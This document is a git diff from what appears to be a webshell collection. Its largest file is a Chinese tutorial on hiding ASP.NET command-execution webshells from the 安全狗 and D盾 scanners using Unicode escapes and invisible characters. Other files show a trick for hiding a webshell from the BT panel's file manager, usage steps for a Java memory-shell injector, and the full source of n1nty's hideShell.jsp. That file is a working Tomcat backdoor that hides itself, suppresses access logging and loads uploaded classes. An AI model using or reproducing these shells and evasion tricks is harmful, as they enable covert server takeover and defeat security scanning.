+早期美帝的程序员没有意识到英语只是全世界所有语言中的一种，他们以为26个英文字母再加上一些其它符号就够用了所以就只有ASCII码，但是随着互联网的发展他们终于意识到软件原来还是需要给不同国家不同语言的人来使用的，所以就开始有了其它的编码方法，但因为缺少一个一统天下的标准，所以乱码问题非常严重。而 Unicode 就是要来解决这个问题，20世纪80年代末，Unicode协会成立，该协会成立的目的在于用一个足够大统一的字符集来支持世界上的所有语言，简单的说`Unicode是一套通用的字符集，包含世界上的大部分字符`。Unicode协会在1991年首次发布了The Unicode Standard，之后每1-2年发布一个大的版本以增加重大特性。从2013年9月Unicode6.3发布之后，Unicode一直保持一个相对稳定的发布周期，在每年的上半年发布一个新版本。直至2020年3月，Unicode的版本为Unicode 13.0.0，在最新的Unicode13版本中，包含了大约14万字符，可以支持154种脚本的文本显示，除了定义哪些字符会被涵盖外，它还要定义每个字符所对应的码位。
+
+2.2 码位
+------
+
+码位英文名为 Code point 或 Code position ，Unicode 字义了字符集合后，需要为每个字符指定一个数字，这样计算机才有办法处理。假如字符集中有 1 万个字符，那就需要 1 万个数字，每个字符对应一个数字，这所有的 1 万个数字就构成了编码空间，而每个数字就是对应的字符的码位。
+
+2.3 UTF-8字符集
+------------
+
+UTF-8 应用非常广泛，即使是个刚入行的小白，也应该会经常听到前辈说，“把文件保存成 UTF-8”，“这个讨厌的网站居然用的是 GB2312 编码”，等等。之所以这么流行，是因为 UTF-8 完全兼容 ASCII，对于 ASCII 字符，UTF-8 使用和 ASCII 完全一样的编码方式，同样只使用一个字节，这就意味着，如果被编码的字符仅含 ASCII 字符，那即使是用 UTF-8 进行编码，只支持 ASCII 的旧系统仍然能够准确地解码。同时，如果被编码的字符大部分是 ASCII 字符，因为只占用一个字节，UTF-8 也最节省空间 .NET 在设计过程中就考虑了对 Unicode 字符的支持，**char**是 .NET Framework 中的 **System.Char**对象，也是最基本的字符类型 ，每个`char`都是一个 Unicode 字符。它在内存中占用 2 个字节，取值范围为 0-65535，UTF8将每个Unicode标量值映射成一到四个无符号的8比特的编码单元，这是一种变长的编码方案，码位大于`\xFFFF`的字符，使用4字节存储，小于等于`\xFFFF`大于`\x07FF`的使用3字节，小于等于`\x07FF`大于`\x007F`的使用2字节，小于等于`\x007F`使用1字节，因为UTF8性能效率都很高，所以很多的网站和应用程序、媒体设备都使用它。理论就介绍这么多，接下来看一些案例 比如常规的.NET启动进程代码 
+
+<%@ Page Language="C#" trace="false" validateRequest="false"
+
+EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+    protected void Page\_load(object sender, EventArgs e)
+
+    {
+
+        System.Diagnostics.Process.Start("cmd.exe","/c calc");
+
+    }
+
+</Script>
+
+2.4 UTF-16字符集
+-------------
+
+一种变长的编码格式，码位大于`\xFFFF`的字符，使用4字节存储，小于等于`\xFFFF`的字符，使用2字节存储，将Process.Start方法使用UTF16编码为：Process.\\u0053\\u0074\\u0061\\u0072\\u0074，如下图
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8qd1SIoa2xJiaP6yyoaHQPfqlw2Usa4MEOM0u5aibMSibQhQsfzJy4YpAQ/640?wx_fmt=png)
+
+还可以对完全限定路径做编码，注意 `.` 不能编码为 `\u002e`，否则编译器会抛出异常，如下编码 System.Diagnostics.Process.Start，即使换行也不影响运行
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+    public void Page\_load()
+
+    {
+
+        \\u0053\\u0079\\u0073\\u0074\\u0065\\u006d.
+
+            \\u0044\\u0069\\u0061\\u0067\\u006e\\u006f\\u0073\\u0074\\u0069\\u0063\\u0073.
+
+            \\u0050\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073.
+
+            \\u0053\\u0074\\u0061\\u0072\\u0074("cmd.exe","/c calc");
+
+    }
+
+</Script>
+
+分别用安全狗和D盾测试免杀效果，同目录下还有另外3个文件，aspx.aspx 是经典Jscript一句话木马，aspxspy.aspx 看文件名就知道是经典大马，xls.aspx 是基于xml文档实现的小马，对比被杀的3个Webshell，Unicode编码后的webshell免杀效果非常理想，如下图unicode.aspx
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8ys5jLsYrNCA2tQibz3SfyLf8nsKwYKln9u77z1qibmUYKM0M49LibVKdA/640?wx_fmt=png)
+
+2.5 UTF-32字符集
+-------------
+
+Unicode 的编码空间为 0xFFFF - 0x10FFFF，那可以想到的最简单的办法就是让每个码位对应一个 32 位 (4 bytes) 二进制数，这就是 UTF-32 编码。所以在 UTF-32 中，每个字符占用 4 个字节，它是一种定长编码格式，使用32位表示Unicode中的一个码位。由于Unicode的码位实际只用了21位，所以多余部分前导0。例如字符小写字母a，对应码位为`\x61`，存储的字节序列为：`\x00000061`。如下代码保存为U32.aspx，尝试用D盾扫描，只扫出上述3个经典webshell，并未检测出UTF32编码后的恶意样本
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+    System.Diagnostics.Process.
+
+        \\U00000053\\U00000074\\U00000061\\U00000072\\U00000074("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW88QJby07AhqicjsoMhwaHsOdUNOGDBer8KCtlJ8ymFicIwxuhGfa5fOyQ/640?wx_fmt=png)
+
+Unicode标准中，码位的表示方法通常是使用它们的十六进制，并加上`U+`前缀。码位的分类方法多种多样。我们通过下表来阐明Unicode标准使用的几种平面和一些术语。
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8bwXnsHcgoZWKanqEp8klDGe88pTic0ub0Vq9mHa39qCRg9o02bO4Fwg/640?wx_fmt=png)
+
+3.1 基本多语言平面
+-----------
+
+基本多语言平面全称Basic Multilingual Plane，简称 BMP，也是Unicode编码中最重要的平面包含了几乎所有常用的系统和符号，码位范围U+0000 - U+FFFF，除了常见的符号外在 BMP中还有拉丁字符和其他欧洲字符，如希腊、西里尔字母、非洲、亚洲字符，此外BMP中保留了自定义字符的私人使用空间。另外又细分了163块内容，以下列出其中的6块内容用于举例说明  
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW88Kkzqu46Y6tTKibialveGJy5Pyz5EVEuQx08Fhq6CtuvwaFbcwWD7Dpw/640?wx_fmt=png)
+
+3.2 补充多语言平面
+-----------
+
+补充多语种平面全称Supplementary Multilingual Plane，简称 SMP，码位范围U+10000 - U+1FFFF，这个平面包含很少使用的历史系统符号，例如多米诺骨牌的标志。另外又细分了134块内容，以下列出其中的6块内容用于举例说明
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8yhDI6tSqh43xvdGibx3oRLPCeyTjIfCfq68cIyibVMriawnxHtdKFoic3g/640?wx_fmt=png)
+
+3.3 补充表意平面
+----------
+
+补充表意平面全称Supplementary Ideographic Plane，简称 SIP，码位范围U+20000 - U+2FFFF，这个平面只有日文、中文和韩文字符，并且它们很少被使用，另外仅有6块内容，笔者就不再列出
+
+3.4 未分配区域
+---------
+
+未分配区域全称unassigned，码位范围 U+30000 - U+DFFFF 尚未被占用，由于可能出现在系统之外的字符，所以这些字符可能会在某些时候被分配用到。
+
+3.5 补充专用平面
+----------
+
+补充专用平面全称Supplement­ary Special-purpose Plane，简称 SSP，码位范围 U+E0000 - U+EFFFF ，该区域包含非图形符号和替代字形扇区，这些可用于文字字符无法描绘的内容。
+
+3.6 私人使用区
+---------
+
+私人使用区全称Supplement­ary Private Use Area planes，简称 SPUAP，码位范围 U+F0000 - U+10FFFF ，保留给私人使用，Unicode Consortium没有明确定义这些字符，因此无法统一使用。
+
+BMP中有一块内容是通用标点符号，码位范围 U+2000 – U+206F ，这个区域分配了111个字符，我们需要关心的字符大约有10个，这些基本都是非打印不可见的字符，可被利用拆解代码里敏感的类名或方法名
+
+4.1 零宽度非连接器
+-----------
+
+零宽度非连接器：ZERO WIDTH NON-JOINER（ZWNJ） `U+200C、U+0000200C` 通常使用在波斯语多个文字连在一起时起到分割符作用，零宽度非连接符会告诉字体引擎不要将它们组合在一起，这是系统中使用的非打印字符。笔者在.NET代码里用它拆解Process类名和Start方法名，如下
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\U0000200Ccess.Star\\u200Ct("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.2 零宽度连接器
+----------
+
+零宽度连接器：ZERO WIDTH JOINER（ZWJ） `U+200D、U+0000200D` 通常使用在梵文，零宽度连接器与零宽度非连接器相反，当多个原本不会连接的字符之间时，零宽度连接符会使它们以连接的形式打印在一起。如下代码
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u200Dcess.Star\\u200Dt("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.3 由左到右标记
+----------
+
+从左到右标记符 (LRM) `U+200E、U+0000200E` 是一种不可见的格式化字符，用于Microsoft Word 等程序中的文字处理，像西里尔语从左到右文本、如叙利亚语从右到左的文本，用于设置相邻字符相文本方向的分组方式。
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u200Ecess.Star\\u200Et("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.4 由右到左标记
+----------
+
+从右到左标记符 (RLM) `U+200F 、U+0000200F` 是一种不可见的格式化字符，和4.3用法正好相反，用于设置相邻字符相文本方向的分组方式。
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u200Fcess.Star\\u200Ft("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.5 由左到右嵌入
+----------
+
+从左到右嵌入符 (LRE) `U+202A、U+0000202A` 从 Unicode 6.3 开始，不鼓励使用`U+2066`嵌入的字符会影响外部字符的顺序。
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u202Acess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.6 由右到左嵌入
+----------
+
+从右到左嵌入符 (RLE)  `U+202B、U+0000202B` 从 Unicode 6.3 开始，不鼓励使用`U+2067`嵌入中的字符会影响外部字符的顺序
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u202Bcess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.7 定向格式化
+---------
+
+Pop Directional Formatting（PDF）符： `U+202C、U+0000202C` 
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u202Ccess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.8 由左到右覆盖符
+-----------
+
+从左到右覆盖符（LRO） `U+202D、U+0000202D`，字符正向显示顺序
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u202Dcess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.9 由右到左覆盖符
+-----------
+
+从右到左覆盖符（RLO） `U+202E、U+0000202E`，它的特性是可以反转其他字符的显示顺序，比如`DotNet安全矩阵`，给每个字符前面加上\\u202E`\u202ED\u202Eo\u202Et\u202EN\u202Ee\u202Et\u202E安\u202E全\u202E矩\u202E阵`就会变成 `阵矩全安teNtoD`
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\u202Ecess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.10 零宽度不间断空格
+-------------
+
+零宽度不间断空格（ZWNBSP） `U+FEFF、U+0000FEFF`，一般用于文件开头的字节顺序标记 (BOM)，在 UTF-16 中，BOM 是两个字节，Big-endian 对应的 BOM 是 0xFEFF，Little-endian 对应的 BOM 是 0xFFFE。
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\uFEFFcess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.11 行间注解终止符
+------------
+
+行间注解终止符 `U+FFFB、U+0000FFFB`
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\uFFFBcess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.12 行间标记注释符
+------------
+
+行间标记注释符 `U+FFF9、U+0000FFF9`
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\uFFF9cess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+4.13 行间标记分割符
+------------
+
+行间标记分割符 `U+FFFA、U+0000FFFA`
+
+<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
+
+validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+
+<script runat="server">
+
+public void Page\_load(){
+
+  System.Diagnostics.Pro\\uFFFAcess.Start("cmd.exe","/c calc");
+
+    }
+
+</script>
+
+笔者从第4小节挑选3个WebShell文件，对D盾均达到免杀效果，如下图
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8KyLyHuTolEeJMFxMNia658LpK6pI2xDH1KpLQuEXFHN7JjuXyhP0ubQ/640?wx_fmt=png)
+
+但笔者之前写的风险检查助手却被D盾识别为1级可疑文件，从说明可知 WMI查询接口视为敏感操作，经过多次对比筛选后发现引入的命名空间System.Management被当作恶意特征，如下图
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW80BBwiaiaOUzI1t0GLiahhhG4SCX9p4D0hDEN8ficpznYQu3XE6icWrCNojA/640?wx_fmt=png)
+
+在命名空间字符串任意位置插入\\u200C，例如变成 Sys\\u200Ctem.Mana\\u200Cgement 免杀成功顺利通过D盾查杀，编码后的助手文件运行也一切正常，如下图
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW88UIibsLGWho5p7kYGxPiccEdicw5Jdt0iaXe9Vrjh6PAB19sp8M9jBGepw/640?wx_fmt=png)
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8YC6yXGbUPxcgsoYu72z2KWvsAaFTtnCqLZmwjpFRNTP1gcpDxI2OCQ/640?wx_fmt=png)
+
+相信通过本文介绍大家对.NET下的Unicode编码绕过有了初步的认知，由于Unicode通用性极强，所以其他语言诸如Java、PHP也会受其影响。下一篇将继续分享 .NET 免杀Trick，请大伙继续关注文章文章涉及的工具和PDF已打包发布在星球，欢迎对.NET安全关注和关心的同学加入我们 \[dotNet安全矩阵\] ，在这里能遇到有情有义的小伙伴，大家聚在一起做一件有意义的事。
+
+
+from ： https://mp.weixin.qq.com/s/VIsJlDmWGD0QcgBDDsRP9g

bt_yincang_shell.md

@@ -0,0 +1,18 @@
+bt 面板隐藏webshell小技巧
+
+最近宝塔的phpmyadmin，大家应该都已经知道了。我就不炒冷饭，最近也没有研究什么比较有含量的，就分享一个宝塔面板隐藏webshell的小技巧，比较水。
+
+创建一个文件名为```.<a.php```的文件
+
+![image](https://mmbiz.qpic.cn/mmbiz_png/noZJ3Kqbu1cMNE3SHdMvFB36kcMbEWk8xjy4y3M4s8KQnT5tBHFiaO2p0AolDy0HBDsbBGZ3mcOeHicoyMic2bvIg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
+
+解压出来以后，宝塔的文件管理面板中是不会出现的
+
+![](https://mmbiz.qpic.cn/mmbiz_png/noZJ3Kqbu1cMNE3SHdMvFB36kcMbEWk8ibRCosCwfqfehHput38DJicXQiaeLiaT2SIZFiaOribt3udemBmzK8glHiaicg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
+
+但是文件是存在的
+
+
+而且可以正常访问
+
+![](https://mmbiz.qpic.cn/mmbiz_png/noZJ3Kqbu1cMNE3SHdMvFB36kcMbEWk8bDBrx4LOThfraAEQk7ribZibyKuUrdeC8GpWeibHXsmyGRb9zA6NzpoUg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

bypass.md

@@ -0,0 +1,2 @@
+### 1. [一个经典的过人 WebShell by tr0y](https://www.tr0y.wang/2020/07/14/webshell-bypass-human/)
+### 2. [WebShell免杀 by 4hou.win](https://4hou.win/wordpress/?p=47975)

content/readme.md

@@ -0,0 +1 @@
+### 故名思意,收集一些方法技术pdf存档查看

content/webshell-detect-bypass

@@ -0,0 +1,3 @@
+share project bypass waf
+
+https://github.com/LandGrey/webshell-detect-bypass

docs/CNAME

@@ -1 +0,0 @@
-shell.endp.top

fuzzdb-webshell/asp/cmdasp.aspx

@@ -32,7 +32,7 @@ Response.Write("</pre>");
 <body >
 <form id="cmd" method="post" runat="server">
 <asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
-<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
+<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="execute" OnClick="cmdExe_Click"></asp:Button>
 <asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
 </form>
 </body>

java/字节码增强型/retransform字节码.md

@@ -0,0 +1,19 @@
+将release中的inject.jar agent.jar复制目标服务器。
+
+运行inject.jar:
+
+(测试时注意备份，会删除自身和agent.jar)
+
+```jsp
+java -jar inject.jar 123
+```
+
+连接内存马：
+```jsp
+http://ip:port/1.jsp?pass_the_world=123&model=chopper
+```
+
+执行命令：
+```jsp
+http://ip:port/1.jsp?pass_the_world=123&model=exec&cmd=whoami
+```

jsp/hideShell.jsp

@@ -0,0 +1,393 @@
+<%@page import="java.awt.SystemColor"%>
+<%@page import="org.apache.jasper.JspCompilationContext"%>
+<%@page import="java.io.*"%>
+<%@page import="java.util.*"%>
+<%@page import="java.util.zip.*"%>
+<%@ page import="javax.servlet.jsp.*"%>
+<%@page import="org.apache.jasper.EmbeddedServletOptions"%>
+<%@page import="org.apache.jasper.compiler.JspRuntimeContext"%>
+<%@page import="org.apache.jasper.servlet.JspServletWrapper" %>
+<%@page import="org.apache.catalina.valves.AccessLogValve"%>
+<%@page import="org.apache.catalina.AccessLog"%>
+<%@page import="org.apache.catalina.core.AccessLogAdapter"%>
+<%@page import="org.apache.catalina.core.StandardHost"%>
+<%@ page import="org.apache.catalina.core.ApplicationContext"%>
+<%@ page import="org.apache.catalina.core.StandardContext"%>
+<%@ page language="java" contentType="text/html; charset=UTF-8"
+    pageEncoding="UTF-8"%>
+<%@ page import="java.lang.reflect.*" %><%!
+private static class AttachingWrapper extends JspServletWrapper {
+	private JspServletWrapper original = null;
+	private JspServletWrapper evil = null;
+	
+	public AttachingWrapper(JspServletWrapper original, JspServletWrapper evil, ServletConfig config, org.apache.jasper.Options options,
+            String jspUri, JspRuntimeContext rctxt) {
+		super(config, options, jspUri, rctxt);
+		this.original = original;
+		this.evil = evil;
+	}
+	public void service(HttpServletRequest request, 
+                        HttpServletResponse response,
+                        boolean precompile)
+            throws ServletException, IOException, FileNotFoundException {
+            	if (request.getHeader("Evil") != null) {
+            		try {
+						nolog(request);
+            		} catch (Exception ex){}
+            		this.evil.service(request, response, precompile);
+            	} else {
+            		this.original.service(request, response, precompile);
+            	}
+	}
+}
+private static class SpyClassLoader extends ClassLoader{
+	private byte[] zipdata = null;
+	private JspWriter out = null;
+	private Map<String, byte[]> cls = new HashMap<String, byte[]>();
+	public SpyClassLoader(ClassLoader parent,  byte[] zipdata, JspWriter out) throws Exception {
+		super(parent);
+		this.out = out;
+		this.zipdata = zipdata;
+		this.processZip();
+	}
+	private void processZip() throws Exception {
+		if (this.zipdata != null) {
+			ZipInputStream stream = null;
+			stream = new ZipInputStream(new ByteArrayInputStream(this.zipdata));
+				byte[] buffer = new byte[2048];
+				ZipEntry entry;
+				while((entry = stream.getNextEntry())!=null)
+				{
+					
+					ByteArrayOutputStream output = null;
+					try
+					{
+						output = new ByteArrayOutputStream();
+						int len = 0;
+						while ((len = stream.read(buffer)) > 0)
+						{
+							output.write(buffer, 0, len);
+						}
+					}
+					finally
+					{
+						if(output!=null) output.close();
+						//this.out.println(entry.getName());
+						this.cls.put("org.apache.jsp."+entry.getName(), output.toByteArray());
+					}
+				}
+			stream.close();
+		}
+	}
+	protected Class<?> findClass(String name)
+                      throws ClassNotFoundException {
+        byte[] clsdata = this.cls.get(name+".class");
+        if (clsdata != null) {
+        	return super.defineClass(name, clsdata, 0, clsdata.length);
+        }
+        return null;
+	}
+	public Class defineClass(String name,byte[] b) {
+		return super.defineClass(name,b,0,b.length);
+	}
+}
+private static class UploadBean {
+		private ServletInputStream sis = null;
+		private OutputStream targetOutput = null;
+		private byte[] b = new byte[1024];
+		private String fileName = null;
+		public String getFileName() {
+			return this.fileName;
+		}
+		public void setTargetOutput(OutputStream stream) {
+			this.targetOutput = stream;
+		}
+		public UploadBean(OutputStream stream) {
+			this.setTargetOutput(stream);
+		}
+		
+		public void parseRequest(HttpServletRequest request) throws IOException {
+			  sis = request.getInputStream();
+			  int a = 0;
+			  int k = 0;
+			  String s = "";
+			  while ((a = sis.readLine(b,0,b.length))!= -1) {
+				s = new String(b, 0, a,"UTF-8");
+				 if ((k = s.indexOf("filename=\""))!= -1) {
+					s = s.substring(k + 10);
+					k = s.indexOf("\"");
+					s = s.substring(0, k);
+					File tF = new File(s);
+					if (tF.isAbsolute()) {
+						fileName = tF.getName();
+					} else {
+						fileName = s;
+					}
+					k = s.lastIndexOf(".");
+					// suffix = s.substring(k + 1);
+					upload();
+				 }
+			  }
+		}
+		private void upload() throws IOException{
+			try {
+					OutputStream out = this.targetOutput;
+					
+					 int a = 0;
+					 int k = 0;
+					 String s = "";
+					 while ((a = sis.readLine(b,0,b.length))!=-1) {
+						s = new String(b, 0, a);
+						if ((k = s.indexOf("Content-Type:"))!=-1) {
+						  break;
+						}
+					}
+					sis.readLine(b,0,b.length);
+					while ((a = sis.readLine(b,0,b.length)) != -1) {
+						s = new String(b, 0, a);
+						if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
+						  break;
+						}
+						out.write(b, 0, a);
+					}
+					out.close();
+					//if (out instanceof FileOutputStream)
+						//out.close();
+				} catch (IOException ioe) {
+					throw ioe;
+				}
+		}
+	}
+private static final Map<String, JspServletWrapper> hiddenWrappers = new HashMap<String, JspServletWrapper>();
+public static String makeWrapperUri(HttpServletRequest request) {
+	String uri = request.getServletPath();
+	String pathinfo = request.getPathInfo();
+	if (pathinfo != null) {
+		uri += pathinfo;
+	}
+	return uri;
+}
+public static boolean accessingSelf(HttpServletRequest request, JspRuntimeContext jctxt) {
+	JspServletWrapper wrapper = getHideShellWrapper(request, jctxt);
+	String requestUri = makeWrapperUri(request);
+	if (!wrapper.getJspUri().equals(requestUri)) {
+		return false;
+	}
+	return true;
+}
+public static void includeHiddenShell(HttpServletRequest request, HttpServletResponse response) throws Exception {
+	JspServletWrapper wrapper = hiddenWrappers.get(makeWrapperUri(request));
+	if (wrapper != null) {
+		wrapper.service(request, response, false);
+	} else {
+		response.sendError(404, "the hidden JspServletWrapper doesn't exist, this should not happen");
+	}
+}
+public static JspServletWrapper getHideShellWrapper(HttpServletRequest request, JspRuntimeContext jctxt) {
+	String wrapperUri = makeWrapperUri(request);
+	JspServletWrapper self = jctxt.getWrapper(wrapperUri); 
+	return self;
+}
+public static void hideWrapper(JspServletWrapper wrapper) throws Exception {
+	wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000);
+	JspCompilationContext ctxt = wrapper.getJspEngineContext();
+	EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions();
+	if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) {
+		setFieldValue(jspServletOptions, "modificationTestInterval", 1);	
+	}
+}
+public static Object invoke(Object obj, String methodName, Class[] paramTypes, Object[] args) throws Exception {
+	Method m = obj.getClass().getDeclaredMethod(methodName, paramTypes);
+	m.setAccessible(true);
+	return m.invoke(obj, args);
+}
+public static Object getFieldValue(Object obj, String fieldName) throws Exception {
+	Field f = obj.getClass().getDeclaredField(fieldName);
+	f.setAccessible(true);
+	return f.get(obj);
+}
+public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
+	Field f = obj.getClass().getDeclaredField(fieldName);
+	f.setAccessible(true);
+	if (Modifier.isFinal(f.getModifiers())) {
+		//reset final field
+		Field modifiersField = Field.class.getDeclaredField("modifiers");
+	    modifiersField.setAccessible(true);
+	    modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);	
+	}
+	f.set(obj, value);
+}
+public static String makeHiddenName(String wrapperName) {
+	int lastIndex = wrapperName.lastIndexOf('/');
+	return wrapperName.substring(0, lastIndex + 1) + "hidden-" + wrapperName.substring(lastIndex + 1);
+}
+public static boolean isHiddenJsp(ServletRequest request, String key, JspServletWrapper wrapper) {
+	JspCompilationContext ctxt = wrapper.getJspEngineContext();
+	if (!new File(request.getServletContext().getRealPath(ctxt.getJspFile())).exists() || !key.equals(wrapper.getJspUri())) {
+		return true;
+	}
+	return  false;
+}
+public static void nolog(HttpServletRequest request) throws Exception {
+	ServletContext ctx = request.getSession().getServletContext();
+	ApplicationContext appCtx = (ApplicationContext)getFieldValue(ctx, "context");
+	StandardContext standardCtx = (StandardContext)getFieldValue(appCtx, "context");
+	
+	StandardHost host = (StandardHost)standardCtx.getParent();
+	AccessLogAdapter accessLog = (AccessLogAdapter)host.getAccessLog();
+	
+	AccessLog[] logs = (AccessLog[])getFieldValue(accessLog, "logs");
+	for(AccessLog log:logs) {
+		AccessLogValve logV = (AccessLogValve)log;
+		String condition = logV.getCondition() == null ? "n1nty_nolog" : logV.getCondition();
+		logV.setCondition(condition);
+		request.setAttribute(condition, "n1nty_nolog");
+	}
+}
+%><%
+nolog(request);
+Object r = getFieldValue(request, "request");
+Object filterChain = getFieldValue(r, "filterChain");
+Object servlet = getFieldValue(filterChain, "servlet");
+JspRuntimeContext jctxt = (JspRuntimeContext)getFieldValue(servlet, "rctxt");
+if (!accessingSelf(request, jctxt)) {
+	includeHiddenShell(request, response);
+	return;
+}
+%>
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+<title>Hideshell.jsp by n1nty</title>
+</head>
+<body>
+
+<ul>
+<%
+String action = request.getParameter("action");
+if ("upload".equals(action)) {
+	ByteArrayOutputStream byteout = new ByteArrayOutputStream();
+	UploadBean upload = new UploadBean(byteout);
+	upload.parseRequest(request);
+	boolean zip = upload.getFileName().endsWith(".zip");
+	String path = !zip ? "/test.jsp" : "/jspspy2010.jsp";
+	String clsName = !zip ? "org.apache.jsp.test_jsp" : "org.apache.jsp.jspspy2010_jsp";
+	javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config");
+	org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options");
+	JspServletWrapper wrapper = new JspServletWrapper(servletConfig, options, path, jctxt);
+	hideWrapper(wrapper);
+	wrapper.setReload(false);
+	byte[] data = byteout.toByteArray();
+	byte[] bytes = new byte[data.length -2];
+	System.arraycopy(data, 0, bytes, 0, data.length -2);
+	Class cls = null;
+	if (zip) {
+		cls = new SpyClassLoader(this.getClass().getClassLoader(), bytes, out).loadClass(clsName);
+	} else {
+		cls = new SpyClassLoader(this.getClass().getClassLoader(), null, out).defineClass(clsName, bytes);
